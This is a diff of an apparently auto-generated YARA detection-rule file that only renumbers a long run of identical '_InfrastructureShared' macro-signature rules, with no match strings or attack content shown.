-rule _InfrastructureShared_21809{ +rule _InfrastructureShared_23093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287407,7 +303877,7 @@ rule _InfrastructureShared_21809{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21810{ +rule _InfrastructureShared_23094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287417,7 +303887,7 @@ rule _InfrastructureShared_21810{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21811{ +rule _InfrastructureShared_23095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287427,7 +303897,7 @@ rule _InfrastructureShared_21811{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21812{ +rule _InfrastructureShared_23096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287437,7 +303907,7 @@ rule _InfrastructureShared_21812{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21813{ +rule _InfrastructureShared_23097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287447,7 +303917,7 @@ rule _InfrastructureShared_21813{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21814{ +rule _InfrastructureShared_23098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287457,7 +303927,7 @@ rule _InfrastructureShared_21814{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21815{ +rule _InfrastructureShared_23099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287467,7 +303937,7 @@ rule _InfrastructureShared_21815{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21816{ +rule _InfrastructureShared_23100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287477,7 +303947,7 @@ rule _InfrastructureShared_21816{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21817{ +rule _InfrastructureShared_23101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287487,7 +303957,7 @@ rule _InfrastructureShared_21817{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21818{ +rule _InfrastructureShared_23102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287497,7 +303967,7 @@ rule _InfrastructureShared_21818{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21819{ +rule _InfrastructureShared_23103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287507,7 +303977,7 @@ rule _InfrastructureShared_21819{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21820{ +rule _InfrastructureShared_23104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287517,7 +303987,7 @@ rule _InfrastructureShared_21820{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21821{ +rule _InfrastructureShared_23105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287527,7 +303997,7 @@ rule _InfrastructureShared_21821{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21822{ +rule _InfrastructureShared_23106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287537,7 +304007,7 @@ rule _InfrastructureShared_21822{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21823{ +rule _InfrastructureShared_23107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287547,7 +304017,7 @@ rule _InfrastructureShared_21823{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21824{ +rule _InfrastructureShared_23108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287557,7 +304027,7 @@ rule _InfrastructureShared_21824{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21825{ +rule _InfrastructureShared_23109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287567,7 +304037,7 @@ rule _InfrastructureShared_21825{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21826{ +rule _InfrastructureShared_23110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287577,7 +304047,7 @@ rule _InfrastructureShared_21826{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21827{ +rule _InfrastructureShared_23111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287587,7 +304057,7 @@ rule _InfrastructureShared_21827{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21828{ +rule _InfrastructureShared_23112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287597,7 +304067,7 @@ rule _InfrastructureShared_21828{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21829{ +rule _InfrastructureShared_23113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287607,7 +304077,7 @@ rule _InfrastructureShared_21829{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21830{ +rule _InfrastructureShared_23114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287617,7 +304087,7 @@ rule _InfrastructureShared_21830{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21831{ +rule _InfrastructureShared_23115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287627,7 +304097,7 @@ rule _InfrastructureShared_21831{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21832{ +rule _InfrastructureShared_23116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287637,7 +304107,7 @@ rule _InfrastructureShared_21832{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21833{ +rule _InfrastructureShared_23117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287647,7 +304117,7 @@ rule _InfrastructureShared_21833{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21834{ +rule _InfrastructureShared_23118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287657,7 +304127,7 @@ rule _InfrastructureShared_21834{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21835{ +rule _InfrastructureShared_23119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287667,7 +304137,7 @@ rule _InfrastructureShared_21835{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21836{ +rule _InfrastructureShared_23120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287677,7 +304147,7 @@ rule _InfrastructureShared_21836{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21837{ +rule _InfrastructureShared_23121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287687,7 +304157,7 @@ rule _InfrastructureShared_21837{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21838{ +rule _InfrastructureShared_23122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287697,7 +304167,7 @@ rule _InfrastructureShared_21838{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21839{ +rule _InfrastructureShared_23123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287707,7 +304177,7 @@ rule _InfrastructureShared_21839{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21840{ +rule _InfrastructureShared_23124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287717,7 +304187,7 @@ rule _InfrastructureShared_21840{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21841{ +rule _InfrastructureShared_23125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287727,7 +304197,7 @@ rule _InfrastructureShared_21841{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21842{ +rule _InfrastructureShared_23126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287737,7 +304207,7 @@ rule _InfrastructureShared_21842{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21843{ +rule _InfrastructureShared_23127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287747,7 +304217,7 @@ rule _InfrastructureShared_21843{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21844{ +rule _InfrastructureShared_23128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287757,7 +304227,7 @@ rule _InfrastructureShared_21844{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21845{ +rule _InfrastructureShared_23129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287767,7 +304237,7 @@ rule _InfrastructureShared_21845{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21846{ +rule _InfrastructureShared_23130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287777,7 +304247,7 @@ rule _InfrastructureShared_21846{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21847{ +rule _InfrastructureShared_23131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287787,7 +304257,7 @@ rule _InfrastructureShared_21847{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21848{ +rule _InfrastructureShared_23132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287797,7 +304267,7 @@ rule _InfrastructureShared_21848{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21849{ +rule _InfrastructureShared_23133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287807,7 +304277,7 @@ rule _InfrastructureShared_21849{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21850{ +rule _InfrastructureShared_23134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287817,7 +304287,7 @@ rule _InfrastructureShared_21850{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21851{ +rule _InfrastructureShared_23135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287827,7 +304297,7 @@ rule _InfrastructureShared_21851{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21852{ +rule _InfrastructureShared_23136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287837,7 +304307,7 @@ rule _InfrastructureShared_21852{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21853{ +rule _InfrastructureShared_23137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287847,7 +304317,7 @@ rule _InfrastructureShared_21853{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21854{ +rule _InfrastructureShared_23138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287857,7 +304327,7 @@ rule _InfrastructureShared_21854{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21855{ +rule _InfrastructureShared_23139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287867,7 +304337,7 @@ rule _InfrastructureShared_21855{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21856{ +rule _InfrastructureShared_23140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287877,7 +304347,7 @@ rule _InfrastructureShared_21856{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21857{ +rule _InfrastructureShared_23141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287887,7 +304357,7 @@ rule _InfrastructureShared_21857{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21858{ +rule _InfrastructureShared_23142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287897,7 +304367,7 @@ rule _InfrastructureShared_21858{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21859{ +rule _InfrastructureShared_23143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287907,7 +304377,7 @@ rule _InfrastructureShared_21859{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21860{ +rule _InfrastructureShared_23144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287917,7 +304387,7 @@ rule _InfrastructureShared_21860{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21861{ +rule _InfrastructureShared_23145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287927,7 +304397,7 @@ rule _InfrastructureShared_21861{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21862{ +rule _InfrastructureShared_23146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287937,7 +304407,7 @@ rule _InfrastructureShared_21862{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21863{ +rule _InfrastructureShared_23147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287947,7 +304417,7 @@ rule _InfrastructureShared_21863{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21864{ +rule _InfrastructureShared_23148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287957,7 +304427,7 @@ rule _InfrastructureShared_21864{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21865{ +rule _InfrastructureShared_23149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287967,7 +304437,7 @@ rule _InfrastructureShared_21865{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21866{ +rule _InfrastructureShared_23150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287977,7 +304447,7 @@ rule _InfrastructureShared_21866{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21867{ +rule _InfrastructureShared_23151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287987,7 +304457,7 @@ rule _InfrastructureShared_21867{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21868{ +rule _InfrastructureShared_23152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -287997,7 +304467,7 @@ rule _InfrastructureShared_21868{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21869{ +rule _InfrastructureShared_23153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288007,7 +304477,7 @@ rule _InfrastructureShared_21869{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21870{ +rule _InfrastructureShared_23154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288017,7 +304487,7 @@ rule _InfrastructureShared_21870{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21871{ +rule _InfrastructureShared_23155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288027,7 +304497,7 @@ rule _InfrastructureShared_21871{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21872{ +rule _InfrastructureShared_23156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288037,7 +304507,7 @@ rule _InfrastructureShared_21872{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21873{ +rule _InfrastructureShared_23157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288047,7 +304517,7 @@ rule _InfrastructureShared_21873{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21874{ +rule _InfrastructureShared_23158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288057,7 +304527,7 @@ rule _InfrastructureShared_21874{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21875{ +rule _InfrastructureShared_23159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288067,7 +304537,7 @@ rule _InfrastructureShared_21875{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21876{ +rule _InfrastructureShared_23160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288077,7 +304547,7 @@ rule _InfrastructureShared_21876{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21877{ +rule _InfrastructureShared_23161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288087,7 +304557,7 @@ rule _InfrastructureShared_21877{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21878{ +rule _InfrastructureShared_23162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288097,7 +304567,7 @@ rule _InfrastructureShared_21878{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21879{ +rule _InfrastructureShared_23163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288107,7 +304577,7 @@ rule _InfrastructureShared_21879{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21880{ +rule _InfrastructureShared_23164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288117,7 +304587,7 @@ rule _InfrastructureShared_21880{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21881{ +rule _InfrastructureShared_23165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288127,7 +304597,7 @@ rule _InfrastructureShared_21881{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21882{ +rule _InfrastructureShared_23166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288137,7 +304607,7 @@ rule _InfrastructureShared_21882{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21883{ +rule _InfrastructureShared_23167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288147,7 +304617,7 @@ rule _InfrastructureShared_21883{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21884{ +rule _InfrastructureShared_23168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288157,7 +304627,7 @@ rule _InfrastructureShared_21884{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21885{ +rule _InfrastructureShared_23169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288167,7 +304637,7 @@ rule _InfrastructureShared_21885{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21886{ +rule _InfrastructureShared_23170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288177,7 +304647,7 @@ rule _InfrastructureShared_21886{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21887{ +rule _InfrastructureShared_23171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288187,7 +304657,7 @@ rule _InfrastructureShared_21887{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21888{ +rule _InfrastructureShared_23172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288197,7 +304667,7 @@ rule _InfrastructureShared_21888{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21889{ +rule _InfrastructureShared_23173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288207,7 +304677,7 @@ rule _InfrastructureShared_21889{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21890{ +rule _InfrastructureShared_23174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288217,7 +304687,7 @@ rule _InfrastructureShared_21890{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21891{ +rule _InfrastructureShared_23175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288227,7 +304697,7 @@ rule _InfrastructureShared_21891{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21892{ +rule _InfrastructureShared_23176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288237,7 +304707,7 @@ rule _InfrastructureShared_21892{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21893{ +rule _InfrastructureShared_23177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288247,7 +304717,7 @@ rule _InfrastructureShared_21893{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21894{ +rule _InfrastructureShared_23178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288257,7 +304727,7 @@ rule _InfrastructureShared_21894{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21895{ +rule _InfrastructureShared_23179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288267,7 +304737,7 @@ rule _InfrastructureShared_21895{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21896{ +rule _InfrastructureShared_23180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288277,7 +304747,7 @@ rule _InfrastructureShared_21896{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21897{ +rule _InfrastructureShared_23181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288287,7 +304757,7 @@ rule _InfrastructureShared_21897{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21898{ +rule _InfrastructureShared_23182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288297,7 +304767,7 @@ rule _InfrastructureShared_21898{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21899{ +rule _InfrastructureShared_23183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288307,7 +304777,7 @@ rule _InfrastructureShared_21899{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21900{ +rule _InfrastructureShared_23184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288317,7 +304787,7 @@ rule _InfrastructureShared_21900{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21901{ +rule _InfrastructureShared_23185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288327,7 +304797,7 @@ rule _InfrastructureShared_21901{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21902{ +rule _InfrastructureShared_23186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288337,7 +304807,7 @@ rule _InfrastructureShared_21902{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21903{ +rule _InfrastructureShared_23187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288347,7 +304817,7 @@ rule _InfrastructureShared_21903{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21904{ +rule _InfrastructureShared_23188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288357,7 +304827,7 @@ rule _InfrastructureShared_21904{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21905{ +rule _InfrastructureShared_23189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288367,7 +304837,7 @@ rule _InfrastructureShared_21905{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21906{ +rule _InfrastructureShared_23190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288377,7 +304847,7 @@ rule _InfrastructureShared_21906{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21907{ +rule _InfrastructureShared_23191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288387,7 +304857,7 @@ rule _InfrastructureShared_21907{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21908{ +rule _InfrastructureShared_23192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288397,7 +304867,7 @@ rule _InfrastructureShared_21908{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21909{ +rule _InfrastructureShared_23193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288407,7 +304877,7 @@ rule _InfrastructureShared_21909{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21910{ +rule _InfrastructureShared_23194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288417,7 +304887,7 @@ rule _InfrastructureShared_21910{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21911{ +rule _InfrastructureShared_23195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -288427,7 +304897,7 